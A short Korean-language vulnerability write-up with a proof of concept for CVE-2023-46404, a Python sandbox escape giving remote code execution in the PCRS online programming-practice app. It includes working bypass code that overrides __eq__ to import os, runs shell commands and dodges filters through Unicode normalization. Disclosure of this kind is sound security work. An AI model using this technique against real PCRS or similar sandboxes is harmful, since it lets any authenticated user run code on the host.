
CVE-2023-46404에 대한 PoC 및 Writeup.
PCRS는 토론토 대학교에서 개발된 온라인 프로그래밍 연습용 웹 애플리케이션입니다. Bitbucket 저장소를 참조하십시오: https://bitbucket.org/utmandrew/pcrs/src/3.11/
코드 제출 기능이 있는 PCRS의 “Questions” 페이지와 “Code editor” 페이지는 Python 샌드박스를 탈출하여 원격 코드 실행(RCE)에 취약합니다.
PCRS 인스턴스에서는 생성기(generator) 객체를 사용하여 원격 코드 실행이 가능합니다. 생성기 프레임(gi_frame)과 f_back을 사용하면 스크립트가 샌드박스 처리된 스택 프레임을 벗어나 샌드박스 처리되지 않은 환경에서 악성 코드를 실행할 수 있습니다. 또한 유니코드 정규화를 통해 기본 입력 필터링을 쉽게 우회할 수 있습니다. 최소 권한을 가진 모든 인증된 사용자가 이 공격을 수행할 수 있습니다. 자세한 내용은 PoC를 참조하십시오.
안전한 격리 메커니즘을 처음부터 설계하는 것은 누락과 취약점이 발생하기 쉽습니다. 항상 그렇듯이, 언어보다는 실행 환경을 샌드박스 처리하는 것이 더 좋습니다.
제한된 환경에서는 __eq__를 재정의하여 사용할 수 있습니다:
def f():
mod_name = "os"
fake_name = "json"
os = __import__(type("s", (str,), {"__eq__": lambda x, y: y == fake_name or y == mod_name, "__hash__": lambda x: hash(mod_name)})(mod_name))
os.system("id > /tmp/test.txt")
s = ᵒpen("/tmp/test.txt").read() # unicode normalization of the "open" function
os.system("rm /tmp/test.txt")
return s